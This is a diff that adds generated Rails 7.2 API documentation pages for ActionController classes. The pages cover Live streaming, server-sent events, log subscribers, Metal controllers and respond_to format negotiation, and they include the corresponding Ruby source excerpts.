Note that Rails includes Rack::ETag by default, which will buffer your response. As a result, streaming responses may not work properly with Rack 2.2.x, and you may need to implement workarounds in your application. You can either set the ETag or Last-Modified response headers or remove Rack::ETag from the middleware stack to address this issue.

+ +

Here’s an example of how you can set the Last-Modified header if your Rack version is 2.2.x:

+ +
def stream
+  response.headers["Content-Type"] = "text/event-stream"
+  response.headers["Last-Modified"] = Time.now.httpdate # Add this line if your Rack version is 2.2.x
+  ...
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + process(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/live.rb, line 276
+    def process(name)
+      t1 = Thread.current
+      locals = t1.keys.map { |key| [key, t1[key]] }
+
+      error = nil
+      # This processes the action in a child thread. It lets us return the response
+      # code and headers back up the Rack stack, and still process the body in
+      # parallel with sending data to the client.
+      new_controller_thread {
+        ActiveSupport::Dependencies.interlock.running do
+          t2 = Thread.current
+
+          # Since we're processing the view in a different thread, copy the thread locals
+          # from the main thread to the child thread. :'(
+          locals.each { |k, v| t2[k] = v }
+          ActiveSupport::IsolatedExecutionState.share_with(t1)
+
+          begin
+            super(name)
+          rescue => e
+            if @_response.committed?
+              begin
+                @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
+                @_response.stream.call_on_error
+              rescue => exception
+                log_error(exception)
+              ensure
+                log_error(e)
+                @_response.stream.close
+              end
+            else
+              error = e
+            end
+          ensure
+            @_response.commit!
+          end
+        end
+      }
+
+      ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+        @_response.await_commit
+      end
+
+      raise error if error
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + response_body=(body) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/live.rb, line 322
+    def response_body=(body)
+      super
+      response.close if response
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + send_stream(filename:, disposition: "attachment", type: nil) + +

+ + +
+

Sends a stream to the browser, which is helpful when you’re generating exports or other running data where you don’t want the entire file buffered in memory first. Similar to send_data, but where the data is generated live.

+ +

Options: * :filename - suggests a filename for the browser to use. * :type - specifies an HTTP content type. You can specify either a string or a symbol for a registered type with Mime::Type.register, for example :json. If omitted, type will be inferred from the file extension specified in :filename. If no content type is registered for the extension, the default type β€˜application/octet-stream’ will be used. * :disposition - specifies whether the file will be shown inline or downloaded. Valid values are β€˜inline’ and β€˜attachment’ (default).

+ +

Example of generating a csv export:

+ +
send_stream(filename: "subscribers.csv") do |stream|
+  stream.write "email_address,updated_at\n"
+
+  @subscribers.find_each do |subscriber|
+    stream.write "#{subscriber.email_address},#{subscriber.updated_at}\n"
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/live.rb, line 351
+    def send_stream(filename:, disposition: "attachment", type: nil)
+      payload = { filename: filename, disposition: disposition, type: type }
+      ActiveSupport::Notifications.instrument("send_stream.action_controller", payload) do
+        response.headers["Content-Type"] =
+          (type.is_a?(Symbol) ? Mime[type].to_s : type) ||
+          Mime::Type.lookup_by_extension(File.extname(filename).downcase.delete("."))&.to_s ||
+          "application/octet-stream"
+
+        response.headers["Content-Disposition"] =
+          ActionDispatch::Http::ContentDisposition.format(disposition: disposition, filename: filename)
+
+        yield response.stream
+      end
+    ensure
+      response.stream.close
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Live/ClassMethods.html b/src/7.2/classes/ActionController/Live/ClassMethods.html new file mode 100644 index 0000000000..9e9acf1828 --- /dev/null +++ b/src/7.2/classes/ActionController/Live/ClassMethods.html @@ -0,0 +1,107 @@ +--- +title: ActionController::Live::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + make_response!(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/live.rb, line 60
+      def make_response!(request)
+        if request.get_header("HTTP_VERSION") == "HTTP/1.0"
+          super
+        else
+          Live::Response.new.tap do |res|
+            res.request = request
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Live/ClientDisconnected.html b/src/7.2/classes/ActionController/Live/ClientDisconnected.html new file mode 100644 index 0000000000..75623df993 --- /dev/null +++ b/src/7.2/classes/ActionController/Live/ClientDisconnected.html @@ -0,0 +1,60 @@ +--- +title: ActionController::Live::ClientDisconnected +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Live/SSE.html b/src/7.2/classes/ActionController/Live/SSE.html new file mode 100644 index 0000000000..61dc811a51 --- /dev/null +++ b/src/7.2/classes/ActionController/Live/SSE.html @@ -0,0 +1,249 @@ +--- +title: ActionController::Live::SSE +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Live Server Sent Events

+ +

This class provides the ability to write an SSE (Server Sent Event) to an IO stream. The class is initialized with a stream and can be used to either write a JSON string or an object which can be converted to JSON.

+ +

Writing an object will convert it into standard SSE format with whatever options you have configured. You may choose to set the following options:

+
:event +
+

If specified, an event with this name will be dispatched on the browser.

+
:retry +
+

The reconnection time in milliseconds used when attempting to send the event.

+
:id +
+

If the connection dies while sending an SSE to the browser, then the server will receive a Last-Event-ID header with value equal to id.

+
+ +

After setting an option in the constructor of the SSE object, all future SSEs sent across the stream will use those options unless overridden.

+ +

Example Usage:

+ +
class MyController < ActionController::Base
+  include ActionController::Live
+
+  def index
+    response.headers['Content-Type'] = 'text/event-stream'
+    sse = SSE.new(response.stream, retry: 300, event: "event-name")
+    sse.write({ name: 'John'})
+    sse.write({ name: 'John'}, id: 10)
+    sse.write({ name: 'John'}, id: 10, event: "other-event")
+    sse.write({ name: 'John'}, id: 10, event: "other-event", retry: 500)
+  ensure
+    sse.close
+  end
+end
+
+ +

Note: SSEs are not currently supported by IE. However, they are supported by Chrome, Firefox, Opera, and Safari.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
PERMITTED_OPTIONS=%w( retry event id )
+ + + + + + +

Class Public methods

+ +
+

+ + new(stream, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/live.rb, line 115
+      def initialize(stream, options = {})
+        @stream = stream
+        @options = options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + close() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/live.rb, line 120
+      def close
+        @stream.close
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write(object, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/live.rb, line 124
+      def write(object, options = {})
+        case object
+        when String
+          perform_write(object, options)
+        else
+          perform_write(ActiveSupport::JSON.encode(object), options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/LiveTestResponse.html b/src/7.2/classes/ActionController/LiveTestResponse.html new file mode 100644 index 0000000000..59032fe3f0 --- /dev/null +++ b/src/7.2/classes/ActionController/LiveTestResponse.html @@ -0,0 +1,60 @@ +--- +title: ActionController::LiveTestResponse +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/LogSubscriber.html b/src/7.2/classes/ActionController/LogSubscriber.html new file mode 100644 index 0000000000..c4f801e600 --- /dev/null +++ b/src/7.2/classes/ActionController/LogSubscriber.html @@ -0,0 +1,426 @@ +--- +title: ActionController::LogSubscriber +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
INTERNAL_PARAMS=%w(controller action format _method only_path)
+ + + + + + + +

Instance Public methods

+ +
+

+ + halted_callback(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/log_subscriber.rb, line 47
+    def halted_callback(event)
+      info { "Filter chain halted as #{event.payload[:filter].inspect} rendered or redirected" }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/log_subscriber.rb, line 90
+    def logger
+      ActionController::Base.logger
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + process_action(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/log_subscriber.rb, line 26
+    def process_action(event)
+      info do
+        payload = event.payload
+        additions = ActionController::Base.log_process_action(payload)
+        status = payload[:status]
+
+        if status.nil? && (exception_class_name = payload[:exception]&.first)
+          status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
+        end
+
+        additions << "GC: #{event.gc_time.round(1)}ms"
+
+        message = +"Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms" \
+                   " (#{additions.join(" | ")})"
+        message << "\n\n" if defined?(Rails.env) && Rails.env.development?
+
+        message
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + redirect_to(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/log_subscriber.rb, line 57
+    def redirect_to(event)
+      info { "Redirected to #{event.payload[:location]}" }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + send_data(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/log_subscriber.rb, line 62
+    def send_data(event)
+      info { "Sent data #{event.payload[:filename]} (#{event.duration.round(1)}ms)" }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + send_file(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/log_subscriber.rb, line 52
+    def send_file(event)
+      info { "Sent file #{event.payload[:path]} (#{event.duration.round(1)}ms)" }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start_processing(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/log_subscriber.rb, line 9
+    def start_processing(event)
+      return unless logger.info?
+
+      payload = event.payload
+      params = {}
+      payload[:params].each_pair do |k, v|
+        params[k] = v unless INTERNAL_PARAMS.include?(k)
+      end
+      format  = payload[:format]
+      format  = format.to_s.upcase if format.is_a?(Symbol)
+      format  = "*/*" if format.nil?
+
+      info "Processing by #{payload[:controller]}##{payload[:action]} as #{format}"
+      info "  Parameters: #{params.inspect}" unless params.empty?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unpermitted_parameters(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/log_subscriber.rb, line 67
+    def unpermitted_parameters(event)
+      debug do
+        unpermitted_keys = event.payload[:keys]
+        display_unpermitted_keys = unpermitted_keys.map { |e| ":#{e}" }.join(", ")
+        context = event.payload[:context].map { |k, v| "#{k}: #{v}" }.join(", ")
+        color("Unpermitted parameter#{'s' if unpermitted_keys.size > 1}: #{display_unpermitted_keys}. Context: { #{context} }", RED)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Logging.html b/src/7.2/classes/ActionController/Logging.html new file mode 100644 index 0000000000..379dc4d838 --- /dev/null +++ b/src/7.2/classes/ActionController/Logging.html @@ -0,0 +1,67 @@ +--- +title: ActionController::Logging +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Logging/ClassMethods.html b/src/7.2/classes/ActionController/Logging/ClassMethods.html new file mode 100644 index 0000000000..3f362e12eb --- /dev/null +++ b/src/7.2/classes/ActionController/Logging/ClassMethods.html @@ -0,0 +1,107 @@ +--- +title: ActionController::Logging::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + log_at(level, **options) + +

+ + +
+

Set a different log level per request.

+ +
# Use the debug log level if a particular cookie is set.
+class ApplicationController < ActionController::Base
+  log_at :debug, if: -> { cookies[:debug] }
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/logging.rb, line 17
+      def log_at(level, **options)
+        around_action ->(_, action) { logger.log_at(level, &action) }, **options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Metal.html b/src/7.2/classes/ActionController/Metal.html new file mode 100644 index 0000000000..26d9f8c89e --- /dev/null +++ b/src/7.2/classes/ActionController/Metal.html @@ -0,0 +1,1123 @@ +--- +title: ActionController::Metal +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Metal

+ +

ActionController::Metal is the simplest possible controller, providing a valid Rack interface without the additional niceties provided by ActionController::Base.

+ +

A sample metal controller might look like this:

+ +
class HelloController < ActionController::Metal
+  def index
+    self.response_body = "Hello World!"
+  end
+end
+
+ +

And then to route requests to your metal controller, you would add something like this to config/routes.rb:

+ +
get 'hello', to: HelloController.action(:index)
+
+ +

The ::action method returns a valid Rack application for the Rails router to dispatch to.

+ +

Rendering Helpers

+ +

By default, ActionController::Metal provides no utilities for rendering views, partials, or other responses aside from some low-level setters such as response_body=, content_type=, and status=. To add the render helpers you’re used to having in a normal controller, you can do the following:

+ +
class HelloController < ActionController::Metal
+  include AbstractController::Rendering
+  include ActionView::Layouts
+  append_view_path "#{Rails.root}/app/views"
+
+  def index
+    render "hello/index"
+  end
+end
+
+ +

Redirection Helpers

+ +

To add redirection helpers to your metal controller, do the following:

+ +
class HelloController < ActionController::Metal
+  include ActionController::Redirecting
+  include Rails.application.routes.url_helpers
+
+  def index
+    redirect_to root_url
+  end
+end
+
+ +

Other Helpers

+ +

You can refer to the modules included in ActionController::Base to see other features you can bring into your metal controller.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + request

The ActionDispatch::Request instance for the current request.

+ [R] + response

The ActionDispatch::Response instance for the current response.

+ + + + +

Class Public methods

+ +
+

+ + action(name) + +

+ + +
+

Returns a Rack endpoint for the given action name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 315
+    def self.action(name)
+      app = lambda { |env|
+        req = ActionDispatch::Request.new(env)
+        res = make_response! req
+        new.dispatch(name, req, res)
+      }
+
+      if middleware_stack.any?
+        middleware_stack.build(name, app)
+      else
+        app
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + controller_name() + +

+ + +
+

Returns the last part of the controller’s name, underscored, without the ending Controller. For instance, PostsController returns posts. Namespaces are left out, so Admin::PostsController returns posts as well.

+ +

Returns

+
  • +

    string

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 130
+    def self.controller_name
+      @controller_name ||= (name.demodulize.delete_suffix("Controller").underscore unless anonymous?)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dispatch(name, req, res) + +

+ + +
+

Direct dispatch to the controller. Instantiates the controller, then executes the action named name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 331
+    def self.dispatch(name, req, res)
+      if middleware_stack.any?
+        middleware_stack.build(name) { |env| new.dispatch(name, req, res) }.call req.env
+      else
+        new.dispatch(name, req, res)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + make_response!(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 134
+    def self.make_response!(request)
+      ActionDispatch::Response.new.tap do |res|
+        res.request = request
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + middleware() + +

+ + +
+

The middleware stack used by this controller.

+ +

By default uses a variation of ActionDispatch::MiddlewareStack which allows for the following syntax:

+ +
class PostsController < ApplicationController
+  use AuthenticationMiddleware, except: [:index, :show]
+end
+
+ +

Read more about [Rails middleware stack] (guides.rubyonrails.org/rails_on_rack.html#action-dispatcher-middleware-stack) in the guides.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 310
+    def self.middleware
+      middleware_stack
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 210
+    def initialize
+      @_request = nil
+      @_response = nil
+      @_response_body = nil
+      @_routes = nil
+      @_params = nil
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use(...) + +

+ + +
+

Pushes the given Rack middleware and its arguments to the bottom of the middleware stack.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 293
+      def use(...)
+        middleware_stack.use(...)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + content_type + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 204
+    delegate :content_type, to: "@_response"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_type= + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 192
+    delegate :content_type=, to: "@_response"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + controller_name() + +

+ + +
+

Delegates to the class’s ::controller_name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 156
+    def controller_name
+      self.class.controller_name
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + headers + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 180
+    delegate :headers, to: "@_response"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + location + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 200
+    delegate :location, to: "@_response"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + location= + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 188
+    delegate :location=, to: "@_response"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + media_type + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 208
+    delegate :media_type, to: "@_response"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + params() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 219
+    def params
+      @_params ||= request.parameters
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + params=(val) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 223
+    def params=(val)
+      @_params = val
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + performed?() + +

+ + +
+

Tests if render or redirect has already happened.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 245
+    def performed?
+      response_body || response.committed?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_session() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 284
+    def reset_session
+      @_request.reset_session
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + response=(response) + +

+ + +
+

Assign the response and mark it as committed. No further processing will occur.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 268
+    def response=(response)
+      set_response!(response)
+
+      # Force `performed?` to return true:
+      @_response_body = true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + response_body=(body) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 234
+    def response_body=(body)
+      if body
+        body = [body] if body.is_a?(String)
+        response.body = body
+        super
+      else
+        response.reset_body!
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + session + +

+ + +
+

The ActionDispatch::Request::Session instance for the current request. See further details in the Active Controller Session guide.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 176
+    delegate :session, to: "@_request"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + status + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 196
+    delegate :status, to: "@_response"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + status= + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 184
+    delegate :status=, to: "@_response"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_for(string) + +

+ + +
+

Basic url_for that can be overridden for more robust functionality.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal.rb, line 230
+    def url_for(string)
+      string
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/MimeResponds.html b/src/7.2/classes/ActionController/MimeResponds.html new file mode 100644 index 0000000000..3509f3fc6b --- /dev/null +++ b/src/7.2/classes/ActionController/MimeResponds.html @@ -0,0 +1,326 @@ +--- +title: ActionController::MimeResponds +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + respond_to(*mimes) + +

+ + +
+

Without web-service support, an action which collects the data for displaying a list of people might look something like this:

+ +
def index
+  @people = Person.all
+end
+
+ +

That action implicitly responds to all formats, but formats can also be explicitly enumerated:

+ +
def index
+  @people = Person.all
+  respond_to :html, :js
+end
+
+ +

Here’s the same action, with web-service support baked in:

+ +
def index
+  @people = Person.all
+
+  respond_to do |format|
+    format.html
+    format.js
+    format.xml { render xml: @people }
+  end
+end
+
+ +

What that says is, β€œif the client wants HTML or JS in response to this action, just respond as we would have before, but if the client wants XML, return them the list of people in XML format.” (Rails determines the desired response format from the HTTP Accept header submitted by the client.)

+ +

Supposing you have an action that adds a new person, optionally creating their company (by name) if it does not already exist, without web-services, it might look like this:

+ +
def create
+  @company = Company.find_or_create_by(name: params[:company][:name])
+  @person  = @company.people.create(params[:person])
+
+  redirect_to(person_list_url)
+end
+
+ +

Here’s the same action, with web-service support baked in:

+ +
def create
+  company  = params[:person].delete(:company)
+  @company = Company.find_or_create_by(name: company[:name])
+  @person  = @company.people.create(params[:person])
+
+  respond_to do |format|
+    format.html { redirect_to(person_list_url) }
+    format.js
+    format.xml  { render xml: @person.to_xml(include: @company) }
+  end
+end
+
+ +

If the client wants HTML, we just redirect them back to the person list. If they want JavaScript, then it is an Ajax request and we render the JavaScript template associated with this action. Lastly, if the client wants XML, we render the created person as XML, but with a twist: we also include the person’s company in the rendered XML, so you get something like this:

+ +
<person>
+  <id>...</id>
+  ...
+  <company>
+    <id>...</id>
+    <name>...</name>
+    ...
+  </company>
+</person>
+
+ +

Note, however, the extra bit at the top of that action:

+ +
company  = params[:person].delete(:company)
+@company = Company.find_or_create_by(name: company[:name])
+
+ +

This is because the incoming XML document (if a web-service request is in process) can only contain a single root-node. So, we have to rearrange things so that the request looks like this (url-encoded):

+ +
person[name]=...&person[company][name]=...&...
+
+ +

And, like this (xml-encoded):

+ +
<person>
+  <name>...</name>
+  <company>
+    <name>...</name>
+  </company>
+</person>
+
+ +

In other words, we make the request so that it operates on a single entity’s person. Then, in the action, we extract the company data from the request, find or create the company, and then create the new person with the remaining data.

+ +

Note that you can define your own XML parameter parser which would allow you to describe multiple entities in a single request (i.e., by wrapping them all in a single root node), but if you just go with the flow and accept Rails’ defaults, life will be much easier.

+ +

If you need to use a MIME type which isn’t supported by default, you can register your own handlers in config/initializers/mime_types.rb as follows.

+ +
Mime::Type.register "image/jpeg", :jpg
+
+ +

respond_to also allows you to specify a common block for different formats by using any:

+ +
def index
+  @people = Person.all
+
+  respond_to do |format|
+    format.html
+    format.any(:xml, :json) { render request.format.to_sym => @people }
+  end
+end
+
+ +

In the example above, if the format is xml, it will render:

+ +
render xml: @people
+
+ +

Or if the format is json:

+ +
render json: @people
+
+ +

any can also be used with no arguments, in which case it will be used for any format requested by the user:

+ +
respond_to do |format|
+  format.html
+  format.any { redirect_to support_path }
+end
+
+ +

Formats can have different variants.

+ +

The request variant is a specialization of the request format, like :tablet, :phone, or :desktop.

+ +

We often want to render different html/json/xml templates for phones, tablets, and desktop browsers. Variants make it easy.

+ +

You can set the variant in a before_action:

+ +
request.variant = :tablet if /iPad/.match?(request.user_agent)
+
+ +

Respond to variants in the action just like you respond to formats:

+ +
respond_to do |format|
+  format.html do |variant|
+    variant.tablet # renders app/views/projects/show.html+tablet.erb
+    variant.phone { extra_setup; render ... }
+    variant.none  { special_setup } # executed only if there is no variant set
+  end
+end
+
+ +

Provide separate templates for each format and variant:

+ +
app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+
+ +

When you’re not sharing any code within the format, you can simplify defining variants using the inline syntax:

+ +
respond_to do |format|
+  format.js         { render "trash" }
+  format.html.phone { redirect_to progress_path }
+  format.html.none  { render "trash" }
+end
+
+ +

Variants also support common any/all block that formats have.

+ +

It works for both inline:

+ +
respond_to do |format|
+  format.html.any   { render html: "any"   }
+  format.html.phone { render html: "phone" }
+end
+
+ +

and block syntax:

+ +
respond_to do |format|
+  format.html do |variant|
+    variant.any(:tablet, :phablet){ render html: "any" }
+    variant.phone { render html: "phone" }
+  end
+end
+
+ +

You can also set an array of variants:

+ +
request.variant = [:tablet, :phone]
+
+ +

This will work similarly to formats and MIME types negotiation. If there is no :tablet variant declared, the :phone variant will be used:

+ +
respond_to do |format|
+  format.html.none
+  format.html.phone # this gets rendered
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/mime_responds.rb, line 211
+    def respond_to(*mimes)
+      raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
+
+      collector = Collector.new(mimes, request.variant)
+      yield collector if block_given?
+
+      if format = collector.negotiate_format(request)
+        if media_type && media_type != format
+          raise ActionController::RespondToMismatchError
+        end
+        _process_format(format)
+        _set_rendered_content_type(format) unless collector.any_response?
+        response = collector.response
+        response.call if response
+      else
+        raise ActionController::UnknownFormat
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/MimeResponds/Collector.html b/src/7.2/classes/ActionController/MimeResponds/Collector.html new file mode 100644 index 0000000000..36e0d9a32b --- /dev/null +++ b/src/7.2/classes/ActionController/MimeResponds/Collector.html @@ -0,0 +1,405 @@ +--- +title: ActionController::MimeResponds::Collector +layout: default +--- +
+ +
+
+ +
+ +

A container for responses available from the current controller for requests for different mime-types sent to a particular action.

+ +

The public controller methods respond_to may be called with a block that is used to define responses to different mime-types, e.g. for respond_to :

+ +
respond_to do |format|
+  format.html
+  format.xml { render xml: @people }
+end
+
+ +

In this usage, the argument passed to the block (format above) is an instance of the ActionController::MimeResponds::Collector class. This object serves as a container in which available responses can be stored by calling any of the dynamically generated, mime-type-specific methods such as html, xml etc on the Collector. Each response is represented by a corresponding block if present.

+ +

A subsequent call to negotiate_format(request) will enable the Collector to determine which specific mime-type it should respond with for the current request, with this response then being accessible by calling response.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + format
+ + + + +

Class Public methods

+ +
+

+ + new(mimes, variant = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/mime_responds.rb, line 255
+      def initialize(mimes, variant = nil)
+        @responses = {}
+        @variant = variant
+
+        mimes.each { |mime| @responses[Mime[mime]] = nil }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + all(*args, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: any +
+ + + + +
+ +
+

+ + any(*args, &block) + +

+ + +
+ +
+ + + +
+ Also aliased as: all +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/mime_responds.rb, line 262
+      def any(*args, &block)
+        if args.any?
+          args.each { |type| send(type, &block) }
+        else
+          custom(Mime::ALL, &block)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

